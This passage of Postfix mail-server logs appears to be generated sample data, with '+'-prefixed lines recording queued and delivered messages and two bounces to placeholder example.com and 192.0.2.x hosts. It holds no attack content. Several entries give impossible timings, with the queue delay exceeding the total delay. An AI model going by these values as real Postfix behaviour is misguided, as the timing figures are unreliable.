size=5826, nrcpt=1 (queue active) +Jul 02 12:05:50 mailserver postfix/smtp[5678]: <1529312508@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.83, delays=0.47/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:50 mailserver postfix/qmgr[1234]: <9233286852@mail.example.com>: from=, size=3986, nrcpt=1 (queue active) +Jul 02 12:05:50 mailserver postfix/smtp[5678]: <9233286852@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.15, delays=0.03/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:50 mailserver postfix/qmgr[1234]: <8360454711@mail.example.com>: from=, size=2281, nrcpt=1 (queue active) +Jul 02 12:05:50 mailserver postfix/smtp[5678]: <8360454711@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.07, delays=0.10/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:50 mailserver postfix/qmgr[1234]: <3215151558@mail.example.com>: from=, size=2799, nrcpt=1 (queue active) +Jul 02 12:05:50 mailserver postfix/smtp[5678]: <3215151558@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.47, delays=0.38/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:50 mailserver postfix/qmgr[1234]: <8298456590@mail.example.com>: from=, size=2904, nrcpt=1 (queue active) +Jul 02 12:05:50 mailserver postfix/smtp[5678]: <8298456590@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.28, delays=0.19/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:50 mailserver postfix/qmgr[1234]: <7855299245@mail.example.com>: from=, size=2741, nrcpt=1 (queue active) +Jul 02 12:05:50 mailserver postfix/smtp[5678]: <7855299245@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.41, delays=0.45/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:50 mailserver postfix/qmgr[1234]: <7396172980@mail.example.com>: from=, size=4585, nrcpt=1 (queue active) +Jul 02 12:05:50 mailserver postfix/smtp[5678]: <7396172980@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.54, delays=0.30/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:50 mailserver postfix/smtp[5679]: <7396172980@mail.example.com>: to=, relay=mx.example.net[192.0.2.2]:25, delay=1.39, dsn=5.1.1, status=bounced (host mx.example.net[192.0.2.2] said: 550 5.1.1 : Recipient address rejected: User unknown in virtual mailbox table) +Jul 02 12:05:55 mailserver postfix/qmgr[1234]: <3620534859@mail.example.com>: from=, size=4720, nrcpt=1 (queue active) +Jul 02 12:05:55 mailserver postfix/smtp[5678]: <3620534859@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.73, delays=0.34/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:55 mailserver postfix/qmgr[1234]: <2512060204@mail.example.com>: from=, size=4608, nrcpt=1 (queue active) +Jul 02 12:05:55 mailserver postfix/smtp[5678]: <2512060204@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.97, delays=0.46/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:55 mailserver postfix/qmgr[1234]: <5216937806@mail.example.com>: from=, size=7192, nrcpt=1 (queue active) +Jul 02 12:05:55 mailserver postfix/smtp[5678]: <5216937806@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.74, delays=0.28/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:55 mailserver postfix/qmgr[1234]: <3235089695@mail.example.com>: from=, size=7531, nrcpt=1 (queue active) +Jul 02 12:05:55 mailserver postfix/smtp[5678]: <3235089695@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.58, delays=0.13/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:55 mailserver postfix/qmgr[1234]: <8760364167@mail.example.com>: from=, size=7638, nrcpt=1 (queue active) +Jul 02 12:05:55 mailserver postfix/smtp[5678]: <8760364167@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.56, delays=0.26/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:55 mailserver postfix/qmgr[1234]: <4729266561@mail.example.com>: from=, size=5042, nrcpt=1 (queue active) +Jul 02 12:05:55 mailserver postfix/smtp[5678]: <4729266561@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.26, delays=0.38/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:55 mailserver postfix/qmgr[1234]: <3347264675@mail.example.com>: from=, size=8070, nrcpt=1 (queue active) +Jul 02 12:05:55 mailserver postfix/smtp[5678]: <3347264675@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.45, delays=0.25/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:55 mailserver postfix/qmgr[1234]: <1620918542@mail.example.com>: from=, size=8075, nrcpt=1 (queue active) +Jul 02 12:05:55 mailserver postfix/smtp[5678]: <1620918542@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.18, delays=0.23/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:55 mailserver postfix/qmgr[1234]: <9088003470@mail.example.com>: from=, size=1610, nrcpt=1 (queue active) +Jul 02 12:05:55 mailserver postfix/smtp[5678]: <9088003470@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.50, delays=0.11/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:55 mailserver postfix/qmgr[1234]: <5092029227@mail.example.com>: from=, size=8103, nrcpt=1 (queue active) +Jul 02 12:05:55 mailserver postfix/smtp[5678]: <5092029227@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.96, delays=0.21/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:55 mailserver postfix/qmgr[1234]: <9202650905@mail.example.com>: from=, size=4871, nrcpt=1 (queue active) +Jul 02 12:05:55 mailserver postfix/smtp[5678]: <9202650905@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.56, delays=0.23/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:55 mailserver postfix/qmgr[1234]: <2475795513@mail.example.com>: from=, size=4563, nrcpt=1 (queue active) +Jul 02 12:05:55 mailserver postfix/smtp[5678]: <2475795513@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.35, delays=0.19/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:55 mailserver postfix/qmgr[1234]: <2033305625@mail.example.com>: from=, size=1624, nrcpt=1 (queue active) +Jul 02 12:05:55 mailserver postfix/smtp[5678]: <2033305625@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.98, delays=0.25/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:00 mailserver postfix/qmgr[1234]: <3699926248@mail.example.com>: from=, size=6678, nrcpt=1 (queue active) +Jul 02 12:06:00 mailserver postfix/smtp[5678]: <3699926248@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.54, delays=0.12/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:00 mailserver postfix/qmgr[1234]: <4629388852@mail.example.com>: from=, size=5685, nrcpt=1 (queue active) +Jul 02 12:06:00 mailserver postfix/smtp[5678]: <4629388852@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.98, delays=0.40/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:00 mailserver postfix/qmgr[1234]: <1508141376@mail.example.com>: from=, size=7973, nrcpt=1 (queue active) +Jul 02 12:06:00 mailserver postfix/smtp[5678]: <1508141376@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.54, delays=0.49/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:00 mailserver postfix/qmgr[1234]: <9897078465@mail.example.com>: from=, size=2163, nrcpt=1 (queue active) +Jul 02 12:06:00 mailserver postfix/smtp[5678]: <9897078465@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.99, delays=0.10/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:00 mailserver postfix/qmgr[1234]: <2881528653@mail.example.com>: from=, size=7470, nrcpt=1 (queue active) +Jul 02 12:06:00 mailserver postfix/smtp[5678]: <2881528653@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.91, delays=0.43/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:00 mailserver postfix/qmgr[1234]: <8570234518@mail.example.com>: from=, size=8037, nrcpt=1 (queue active) +Jul 02 12:06:00 mailserver postfix/smtp[5678]: <8570234518@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.75, delays=0.09/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:00 mailserver postfix/qmgr[1234]: <4338327721@mail.example.com>: from=, size=4202, nrcpt=1 (queue active) +Jul 02 12:06:00 mailserver postfix/smtp[5678]: <4338327721@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.11, delays=0.13/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:00 mailserver postfix/qmgr[1234]: <2296384504@mail.example.com>: from=, size=7720, nrcpt=1 (queue active) +Jul 02 12:06:00 mailserver postfix/smtp[5678]: <2296384504@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.70, delays=0.36/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:05 mailserver postfix/qmgr[1234]: <5309529988@mail.example.com>: from=, size=7775, nrcpt=1 (queue active) +Jul 02 12:06:05 mailserver postfix/smtp[5678]: <5309529988@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.48, delays=0.34/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:05 mailserver postfix/qmgr[1234]: <9374514635@mail.example.com>: from=, size=4656, nrcpt=1 (queue active) +Jul 02 12:06:05 mailserver postfix/smtp[5678]: <9374514635@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.38, delays=0.42/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:05 mailserver postfix/qmgr[1234]: <2134803637@mail.example.com>: from=, size=4600, nrcpt=1 (queue active) +Jul 02 12:06:05 mailserver postfix/smtp[5678]: <2134803637@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.06, delays=0.25/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:05 mailserver postfix/qmgr[1234]: <4084361274@mail.example.com>: from=, size=2970, nrcpt=1 (queue active) +Jul 02 12:06:05 mailserver postfix/smtp[5678]: <4084361274@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.60, delays=0.43/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:05 mailserver postfix/qmgr[1234]: <8375421703@mail.example.com>: from=, size=3085, nrcpt=1 (queue active) +Jul 02 12:06:05 mailserver postfix/smtp[5678]: <8375421703@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.79, delays=0.07/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:05 mailserver postfix/qmgr[1234]: <6416347705@mail.example.com>: from=, size=5978, nrcpt=1 (queue active) +Jul 02 12:06:05 mailserver postfix/smtp[5678]: <6416347705@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.62, delays=0.38/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:05 mailserver postfix/qmgr[1234]: <6949472102@mail.example.com>: from=, size=4070, nrcpt=1 (queue active) +Jul 02 12:06:05 mailserver postfix/smtp[5678]: <6949472102@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.89, delays=0.29/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:05 mailserver postfix/qmgr[1234]: <6758596744@mail.example.com>: from=, size=7988, nrcpt=1 (queue active) +Jul 02 12:06:05 mailserver postfix/smtp[5678]: <6758596744@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.93, delays=0.15/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:05 mailserver postfix/qmgr[1234]: <1385915910@mail.example.com>: from=, size=3647, nrcpt=1 (queue active) +Jul 02 12:06:05 mailserver postfix/smtp[5678]: <1385915910@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.85, delays=0.32/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:10 mailserver postfix/qmgr[1234]: <4090061699@mail.example.com>: from=, size=4900, nrcpt=1 (queue active) +Jul 02 12:06:10 mailserver postfix/smtp[5678]: <4090061699@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.56, delays=0.35/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:10 mailserver postfix/qmgr[1234]: <2143783174@mail.example.com>: from=, size=7158, nrcpt=1 (queue active) +Jul 02 12:06:10 mailserver postfix/smtp[5678]: <2143783174@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.27, delays=0.43/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:10 mailserver postfix/qmgr[1234]: <6271090671@mail.example.com>: from=, size=4953, nrcpt=1 (queue active) +Jul 02 12:06:10 mailserver postfix/smtp[5678]: <6271090671@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.19, delays=0.26/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:10 mailserver postfix/qmgr[1234]: <3427569515@mail.example.com>: from=, size=4953, nrcpt=1 (queue active) +Jul 02 12:06:10 mailserver postfix/smtp[5678]: <3427569515@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.48, delays=0.14/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:10 mailserver postfix/qmgr[1234]: <4053949607@mail.example.com>: from=, size=6864, nrcpt=1 (queue active) +Jul 02 12:06:10 mailserver postfix/smtp[5678]: <4053949607@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.83, delays=0.09/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:10 mailserver postfix/qmgr[1234]: <7632876682@mail.example.com>: from=, size=4536, nrcpt=1 (queue active) +Jul 02 12:06:10 mailserver postfix/smtp[5678]: <7632876682@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.85, delays=0.04/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:15 mailserver postfix/qmgr[1234]: <3384613965@mail.example.com>: from=, size=3185, nrcpt=1 (queue active) +Jul 02 12:06:15 mailserver postfix/smtp[5678]: <3384613965@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.40, delays=0.13/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:15 mailserver postfix/qmgr[1234]: <2488721347@mail.example.com>: from=, size=5258, nrcpt=1 (queue active) +Jul 02 12:06:15 mailserver postfix/smtp[5678]: <2488721347@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.47, delays=0.46/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:15 mailserver postfix/qmgr[1234]: <2203498796@mail.example.com>: from=, size=2299, nrcpt=1 (queue active) +Jul 02 12:06:15 mailserver postfix/smtp[5678]: <2203498796@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.47, delays=0.23/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:15 mailserver postfix/qmgr[1234]: <3838620850@mail.example.com>: from=, size=1845, nrcpt=1 (queue active) +Jul 02 12:06:15 mailserver postfix/smtp[5678]: <3838620850@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.32, delays=0.37/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:15 mailserver postfix/qmgr[1234]: <6346673790@mail.example.com>: from=, size=5403, nrcpt=1 (queue active) +Jul 02 12:06:15 mailserver postfix/smtp[5678]: <6346673790@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.55, delays=0.15/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:15 mailserver postfix/qmgr[1234]: <7132539289@mail.example.com>: from=, size=1974, nrcpt=1 (queue active) +Jul 02 12:06:15 mailserver postfix/smtp[5678]: <7132539289@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.65, delays=0.28/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:15 mailserver postfix/qmgr[1234]: <5875477612@mail.example.com>: from=, size=3765, nrcpt=1 (queue active) +Jul 02 12:06:15 mailserver postfix/smtp[5678]: <5875477612@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.20, delays=0.03/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:15 mailserver postfix/qmgr[1234]: <1797773074@mail.example.com>: from=, size=1357, nrcpt=1 (queue active) +Jul 02 12:06:15 mailserver postfix/smtp[5678]: <1797773074@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.30, delays=0.46/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:15 mailserver postfix/qmgr[1234]: <3177063426@mail.example.com>: from=, size=3990, nrcpt=1 (queue active) +Jul 02 12:06:15 mailserver postfix/smtp[5678]: <3177063426@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.27, delays=0.44/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:15 mailserver postfix/qmgr[1234]: <6197469301@mail.example.com>: from=, size=7754, nrcpt=1 (queue active) +Jul 02 12:06:15 mailserver postfix/smtp[5678]: <6197469301@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.83, delays=0.32/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:15 mailserver postfix/qmgr[1234]: <3462629456@mail.example.com>: from=, size=3651, nrcpt=1 (queue active) +Jul 02 12:06:15 mailserver postfix/smtp[5678]: <3462629456@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.70, delays=0.22/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:15 mailserver postfix/qmgr[1234]: <8526048207@mail.example.com>: from=, size=1444, nrcpt=1 (queue active) +Jul 02 12:06:15 mailserver postfix/smtp[5678]: <8526048207@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.62, delays=0.27/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:20 mailserver postfix/qmgr[1234]: <2216625366@mail.example.com>: from=, size=8068, nrcpt=1 (queue active) +Jul 02 12:06:20 mailserver postfix/smtp[5678]: <2216625366@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.18, delays=0.48/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:20 mailserver postfix/qmgr[1234]: <4362736782@mail.example.com>: from=, size=2509, nrcpt=1 (queue active) +Jul 02 12:06:20 mailserver postfix/smtp[5678]: <4362736782@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.50, delays=0.20/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:20 mailserver postfix/qmgr[1234]: <3450433270@mail.example.com>: from=, size=6220, nrcpt=1 (queue active) +Jul 02 12:06:20 mailserver postfix/smtp[5678]: <3450433270@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.02, delays=0.20/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:20 mailserver postfix/qmgr[1234]: <9172861133@mail.example.com>: from=, size=1300, nrcpt=1 (queue active) +Jul 02 12:06:20 mailserver postfix/smtp[5678]: <9172861133@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.95, delays=0.06/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:20 mailserver postfix/qmgr[1234]: <9082499174@mail.example.com>: from=, size=1830, nrcpt=1 (queue active) +Jul 02 12:06:20 mailserver postfix/smtp[5678]: <9082499174@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.00, delays=0.24/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:20 mailserver postfix/qmgr[1234]: <6074171809@mail.example.com>: from=, size=6012, nrcpt=1 (queue active) +Jul 02 12:06:20 mailserver postfix/smtp[5678]: <6074171809@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.72, delays=0.27/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:20 mailserver postfix/smtp[5679]: <6074171809@mail.example.com>: to=, relay=mx.example.net[192.0.2.2]:25, delay=1.61, dsn=5.1.1, status=bounced (host mx.example.net[192.0.2.2] said: 550 5.1.1 : Recipient address rejected: User unknown in virtual mailbox table) +Jul 02 12:06:25 mailserver postfix/qmgr[1234]: <5593310661@mail.example.com>: from=, size=5634, nrcpt=1 (queue active) +Jul 02 12:06:25 mailserver postfix/smtp[5678]: <5593310661@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.11, delays=0.41/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:25 mailserver postfix/qmgr[1234]: <5288742993@mail.example.com>: from=, size=4244, nrcpt=1 (queue active) +Jul 02 12:06:25 mailserver postfix/smtp[5678]: <5288742993@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.06, delays=0.09/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:25 mailserver postfix/qmgr[1234]: <3919413875@mail.example.com>: from=, size=6091, nrcpt=1 (queue active) +Jul 02 12:06:25 mailserver postfix/smtp[5678]: <3919413875@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.88, delays=0.13/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:25 mailserver postfix/qmgr[1234]: <9827418097@mail.example.com>: from=, size=2507, nrcpt=1 (queue active) +Jul 02 12:06:25 mailserver postfix/smtp[5678]: <9827418097@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.05, delays=0.46/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:25 mailserver postfix/qmgr[1234]: <1955249047@mail.example.com>: from=, size=4450, nrcpt=1 (queue active) +Jul 02 12:06:25 mailserver postfix/smtp[5678]: <1955249047@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.50, delays=0.44/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:25 mailserver postfix/qmgr[1234]: <6776109069@mail.example.com>: from=, size=6937, nrcpt=1 (queue active) +Jul 02 12:06:25 mailserver postfix/smtp[5678]: <6776109069@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.54, delays=0.07/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:25 mailserver postfix/qmgr[1234]: <8227480573@mail.example.com>: from=, size=5361, nrcpt=1 (queue active) +Jul 02 12:06:25 mailserver postfix/smtp[5678]: <8227480573@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.69, delays=0.44/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:25 mailserver postfix/qmgr[1234]: <2879978758@mail.example.com>: from=, size=1450, nrcpt=1 (queue active) +Jul 02 12:06:25 mailserver postfix/smtp[5678]: <2879978758@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.86, delays=0.42/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:25 mailserver postfix/qmgr[1234]: <5045949350@mail.example.com>: from=, size=7039, nrcpt=1 (queue active) +Jul 02 12:06:25 mailserver postfix/smtp[5678]: <5045949350@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.50, delays=0.09/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:25 mailserver postfix/qmgr[1234]: <3714493079@mail.example.com>: from=, size=3884, nrcpt=1 (queue active) +Jul 02 12:06:25 mailserver postfix/smtp[5678]: <3714493079@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.58, delays=0.44/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:25 mailserver postfix/qmgr[1234]: <7870414607@mail.example.com>: from=, size=3440, nrcpt=1 (queue active) +Jul 02 12:06:25 mailserver postfix/smtp[5678]: <7870414607@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.88, delays=0.41/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:25 mailserver postfix/qmgr[1234]: <7540185544@mail.example.com>: from=, size=5182, nrcpt=1 (queue active) +Jul 02 12:06:25 mailserver postfix/smtp[5678]: <7540185544@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.79, delays=0.44/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:30 mailserver postfix/qmgr[1234]: <5145715132@mail.example.com>: from=, size=4056, nrcpt=1 (queue active) +Jul 02 12:06:30 mailserver postfix/smtp[5678]: <5145715132@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.19, delays=0.22/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:30 mailserver postfix/qmgr[1234]: <9511987136@mail.example.com>: from=, size=3966, nrcpt=1 (queue active) +Jul 02 12:06:30 mailserver postfix/smtp[5678]: <9511987136@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.92, delays=0.42/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:30 mailserver postfix/qmgr[1234]: <4603069839@mail.example.com>: from=, size=1878, nrcpt=1 (queue active) +Jul 02 12:06:30 mailserver postfix/smtp[5678]: <4603069839@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.85, delays=0.30/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:30 mailserver postfix/qmgr[1234]: <4508603679@mail.example.com>: from=, size=1474, nrcpt=1 (queue active) +Jul 02 12:06:30 mailserver postfix/smtp[5678]: <4508603679@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.91, delays=0.08/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:30 mailserver postfix/qmgr[1234]: <3039941532@mail.example.com>: from=, size=1231, nrcpt=1 (queue active) +Jul 02 12:06:30 mailserver postfix/smtp[5678]: <3039941532@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.66, delays=0.48/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:30 mailserver postfix/qmgr[1234]: <7187978714@mail.example.com>: from=, size=7397, nrcpt=1 (queue active) +Jul 02 12:06:30 mailserver postfix/smtp[5678]: <7187978714@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.21, delays=0.37/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:30 mailserver postfix/qmgr[1234]: <7736238178@mail.example.com>: from=, size=3712, nrcpt=1 (queue active) +Jul 02 12:06:30 mailserver postfix/smtp[5678]: <7736238178@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.51, delays=0.38/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:35 mailserver postfix/qmgr[1234]: <2578286803@mail.example.com>: from=, size=3608, nrcpt=1 (queue active) +Jul 02 12:06:35 mailserver postfix/smtp[5678]: <2578286803@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.56, delays=0.46/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:35 mailserver postfix/qmgr[1234]: <3050224563@mail.example.com>: from=, size=4922, nrcpt=1 (queue active) +Jul 02 12:06:35 mailserver postfix/smtp[5678]: <3050224563@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.96, delays=0.21/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:35 mailserver postfix/qmgr[1234]: <4922560130@mail.example.com>: from=, size=7292, nrcpt=1 (queue active) +Jul 02 12:06:35 mailserver postfix/smtp[5678]: <4922560130@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.42, delays=0.43/0/0/0, dsn=2.0.0, status=sent (250 